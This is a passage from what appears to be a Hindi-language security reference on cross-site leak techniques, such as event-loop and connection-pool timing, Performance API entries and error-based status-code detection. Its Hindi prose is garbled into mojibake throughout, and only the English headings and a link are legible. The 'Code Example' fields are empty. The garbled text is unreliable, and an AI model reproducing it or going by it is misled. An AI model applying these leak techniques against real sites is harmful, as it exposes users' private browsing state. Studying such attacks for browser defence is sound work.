рдЗрд╡реЗрдВрдЯ рднреЗрдЬрдХрд░ред рдпреЗ рдЗрд╡реЗрдВрдЯ рддрдм рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗ рдЬрдм рдЗрд╡реЗрдВрдЯ рдкреВрд▓ рдЦрд╛рд▓реА рд╣реЛрдЧрд╛ред рдпрджрд┐ рдЕрдиреНрдп рдореВрд▓ рднреА рдЙрд╕реА рдкреВрд▓ рдореЗрдВ рдЗрд╡реЗрдВрдЯ рднреЗрдЬ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрди рдмрд╛рд╣рд░реА рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рджреЗрд░реА рдХреЛ рджреЗрдЦрдХрд░ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЗрди рдмрд╛рд╣рд░реА рдЗрд╡реЗрдВрдЯреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреА рдпрд╣ рд╡рд┐рдзрд┐ рд╡рд┐рднрд┐рдиреНрди рдореВрд▓реЛрдВ рд╕реЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддреА рд╣реИ, рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддреА рд╣реИред

рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛рд░рдХреЛрдВ рдХреЛ рд╣рдЯрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рдорд╛рдк рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд░рдирд╛ред

Busy Event Loop

  • Inclusion Methods:

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • Summary: рдПрдХ рд╡реЗрдм рдСрдкрд░реЗрд╢рди рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рдПрдХ рд╡рд┐рдзрд┐ рдореЗрдВ рдЬрд╛рдирдмреВрдЭрдХрд░ рдПрдХ рдереНрд░реЗрдб рдХреЗ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рдлрд┐рд░ рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдореЗрдВ рдХрд┐рддрдирд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ рдХреЛ рдорд╛рдкрдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдПрдХ рдЕрд╡рд░реБрджреНрдз рдСрдкрд░реЗрд╢рди (рдЬреИрд╕реЗ рд▓рдВрдмреА рдЧрдгрдирд╛ рдпрд╛ рд╕рдордХрд╛рд▓рд┐рдХ API рдХреЙрд▓) рдХреЛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдбрд╛рд▓рдХрд░, рдФрд░ рдмрд╛рдж рдХреЗ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рд╢реБрд░реБрдЖрдд рдХреЗ рд▓рд┐рдП рд╕рдордп рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рдХреЛрдИ рдпрд╣ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрд╡рд░реБрджреНрдз рдЕрд╡рдзрд┐ рдХреЗ рджреМрд░рд╛рди рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдореЗрдВ рдХреМрди рд╕реЗ рдХрд╛рд░реНрдп рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реЗ рдереЗред рдпрд╣ рддрдХрдиреАрдХ JavaScript рдХреЗ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреА рдПрдХрд▓-рдереНрд░реЗрдбреЗрдб рдкреНрд░рдХреГрддрд┐ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ, рдЬрд╣рд╛рдВ рдХрд╛рд░реНрдп рдЕрдиреБрдХреНрд░рдо рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдпрд╣ рд╕рдорд╛рди рдереНрд░реЗрдб рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдпрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддреА рд╣реИред

  • Code Example:

рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЛ рд▓реЙрдХ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд▓рд╛рдн Site Isolation рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реИред Site Isolation рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рднрд┐рдиреНрди рд╡реЗрдмрд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЕрд▓рдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдЗрдЯреЛрдВ рдХреЛ рдЕрдиреНрдп рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪрдиреЗ рд╕реЗ рд░реЛрдХрдирд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рд╕рд╛рдЭрд╛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд╕рд░реЗ рдореВрд▓ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдХреЗ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдореВрд▓ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рджреВрд╕рд░реЗ рдореВрд▓ рдХреЗ рдбреЗрдЯрд╛ рддрдХ рд╕реАрдзреЗ рдкрд╣реБрдВрдЪ рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ, рдмрд▓реНрдХрд┐ рд╕рд╛рдЭрд╛ рдЗрд╡реЗрдВрдЯ рд▓реВрдк рдкрд░ рдЙрд╕ рдореВрд▓ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдкреНрд░рднрд╛рд╡ рдХреЛ рджреЗрдЦрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ Site Isolation рджреНрд╡рд╛рд░рд╛ рд╕реНрдерд╛рдкрд┐рдд рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рдмрд╛рдзрд╛рдУрдВ рд╕реЗ рдмрдЪрддреА рд╣реИред

рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдореЗрдВ рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛рд░рдХреЛрдВ рдХреЛ рд╣рдЯрд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдЕрдзрд┐рдХ рд╕рдЯреАрдХ рдорд╛рдк рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд▓реЛрдб рдХрд░рдирд╛ред

Connection Pool

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • Summary: рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рд╕рднреА рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ 1 рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд▓реЙрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд▓рдХреНрд╖рд┐рдд рд╡реЗрдм рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдПрдХ рдФрд░ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдВрддрд┐рдо рдкреГрд╖реНрда рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рддрдХ рдХрд╛ рд╕рдордп рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рд╕рдордп рд╣реИред

  • Code Example:

рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕рд░реНрд╡рд░ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рд╕реЙрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕реАрдорд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдХрд╛рд░рдг, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рд╕рдорд╡рд░реНрддреА рд╕реЙрдХреЗрдЯреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рдПрдХ рд╕реАрдорд╛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╕реАрдорд╛ рдХрд╛ рд╢реЛрд╖рдг рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  1. рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреА рд╕реЙрдХреЗрдЯ рд╕реАрдорд╛ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░реЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, 256 рд╡реИрд╢реНрд╡рд┐рдХ рд╕реЙрдХреЗрдЯред

  2. 255 рд╕реЙрдХреЗрдЯреНрд╕ рдХреЛ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╣реЛрд╕реНрдЯреЛрдВ рдХреЗ рд▓рд┐рдП 255 рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░реЗрдВ, рдЬреЛ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдЦреБрд▓реЗ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВ рдмрд┐рдирд╛ рдкреВрд░рд╛ рдХрд┐рдПред

  3. рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП 256 рд╡реЗрдВ рд╕реЙрдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

  4. рдПрдХ рдЕрд▓рдЧ рд╣реЛрд╕реНрдЯ рдХреЗ рд▓рд┐рдП 257 рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рдЪреВрдВрдХрд┐ рд╕рднреА рд╕реЙрдХреЗрдЯ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИрдВ (рдЬреИрд╕рд╛ рдХрд┐ рдЪрд░рдг 2 рдФрд░ 3 рдореЗрдВ рд╣реИ), рдпрд╣ рдЕрдиреБрд░реЛрдз рддрдм рддрдХ рдХрддрд╛рд░рдмрджреНрдз рд╣реЛрдЧрд╛ рдЬрдм рддрдХ рдХреЛрдИ рд╕реЙрдХреЗрдЯ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ред рдЗрд╕ рдЕрдиреБрд░реЛрдз рдХреЗ рдЖрдЧреЗ рдмрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдХреА рджреЗрд░реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ 256 рд╡реЗрдВ рд╕реЙрдХреЗрдЯ (рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХрд╛ рд╕реЙрдХреЗрдЯ) рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рдордп рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдпрд╣ рдЕрдиреБрдорд╛рди рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЪрд░рдг 2 рд╕реЗ 255 рд╕реЙрдХреЗрдЯ рдЕрднреА рднреА рд╡реНрдпрд╕реНрдд рд╣реИрдВ, рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреЛрдИ рднреА рдирдпрд╛ рдЙрдкрд▓рдмреНрдз рд╕реЙрдХреЗрдЯ рд╡рд╣ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЪрд░рдг 3 рд╕реЗ рдореБрдХреНрдд рд╣реБрдЖ рд╣реЛред рдЗрд╕рд▓рд┐рдП 256 рд╡реЗрдВ рд╕реЙрдХреЗрдЯ рдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реЛрдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓рд╛ рд╕рдордп рд╕реАрдзреЗ рд▓рдХреНрд╖рд┐рдд рдкреГрд╖реНрда рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╕рдордп рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред

рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests

  • Detectable Difference: Timing (generally due to Page Content, Status Code)

  • More info:

  • Summary: рдпрд╣ рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХ рдХреЗ рд╕рдорд╛рди рд╣реИ рд▓реЗрдХрд┐рди рд╕рднреА рд╕реЙрдХреЗрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп, Google Chrome рдПрдХ рд╣реА рдореВрд▓ рдХреЗ рд▓рд┐рдП 6 рд╕рдорд╡рд░реНрддреА рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рд╕реАрдорд╛ рд▓рдЧрд╛рддрд╛ рд╣реИред рдпрджрд┐ рд╣рдо 5 рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ 6 рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз рд▓реЙрдиреНрдЪ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдЗрд╕реЗ рд╕рдордп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рд╣рдо рд╢рд┐рдХрд╛рд░ рдкреГрд╖реНрда рдХреЛ рдЙрд╕реА рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкрд░ рдЕрдзрд┐рдХ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ 6 рд╡рд╛рдВ рдЕрдиреБрд░реЛрдз рд▓рдВрдмрд╛ рд╣реЛрдЧрд╛ рдФрд░ рд╣рдо рдЗрд╕реЗ рдкрд╣рдЪрд╛рди рд╕рдХрддреЗ рд╣реИрдВред

Performance API Techniques

Performance API рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдореЗрдЯреНрд░рд┐рдХреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ Resource Timing API рджреНрд╡рд╛рд░рд╛ рдФрд░ рд╕рдореГрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред Resource Timing API рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рд╕рдордп рдХреА рд╡рд┐рд╕реНрддреГрдд рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреИрд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЕрд╡рдзрд┐ред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЬрдм рд╕рд░реНрд╡рд░ рдЕрдкрдиреЗ рдЙрддреНрддрд░реЛрдВ рдореЗрдВ Timing-Allow-Origin: * рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдЬреИрд╕реЗ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдЖрдХрд╛рд░ рдФрд░ рдбреЛрдореЗрди рд▓реБрдХрдЕрдк рд╕рдордп рдЙрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

рдЗрд╕ рдбреЗрдЯрд╛ рдХреА рдкреНрд░рдЪреБрд░рддрд╛ рдХреЛ performance.getEntries рдпрд╛ performance.getEntriesByName рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рджрд░реНрд╢рди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, API рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ performance.now() рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдХреА рдЧрдгрдирд╛ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Chrome рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХреБрдЫ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП, performance.now() рдХреА рд╕рдЯреАрдХрддрд╛ рдорд┐рд▓реАрд╕реЗрдХрдВрдб рддрдХ рд╕реАрдорд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рдордп рдорд╛рдк рдХреА рдмрд╛рд░реАрдХреА рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред

рд╕рдордп рдорд╛рдк рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рджрд░реНрд╢рди API рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Chrome рдореЗрдВ performance рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкреГрд╖реНрдареЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдпрд╛ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ X-Frame-Options рдХреЗ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрджрд┐ рдХрд┐рд╕реА рдкреГрд╖реНрда рдХреЛ X-Frame-Options рдХреЗ рдХрд╛рд░рдг рдПрдХ рдлреНрд░реЗрдо рдореЗрдВ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ performance рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдкреГрд╖реНрда рдХреА рдлреНрд░реЗрдорд┐рдВрдЧ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╕реВрдХреНрд╖реНрдо рд╕рдВрдХреЗрдд рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред

Error Leak

  • Inclusion Methods: Frames, HTML Elements

  • Detectable Difference: Status Code

  • Summary: рдПрдХ рдЕрдиреБрд░реЛрдз рдЬреЛ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддрд╛ рд╣реИ, рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рдПрдЧрд╛ред

рдпрд╣ HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЬреЛ рдЕрдиреБрд░реЛрдз рддреНрд░реБрдЯрд┐ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддреЗ рд╣реИрдВ рд╡реЗ рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред

Style Reload Error

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code

  • Summary: рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрдЧ рдХреЗ рдХрд╛рд░рдг, рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рджреЛ рдмрд╛рд░ рд▓реЛрдб рд╣реЛрддреЗ рд╣реИрдВред

рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХ рдореЗрдВ рдпрд╣ рднреА рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рдХрд┐ рджреЛ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрдЧ GC рдХреЗ рдХрд╛рд░рдг рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рджреЛ рдмрд╛рд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╡реЗ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рдХрдИ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Request Merging Error

  • Inclusion Methods: HTML Elements

  • Detectable Difference: Status Code

  • Summary: рддреНрд░реБрдЯрд┐ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдорд░реНрдЬ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

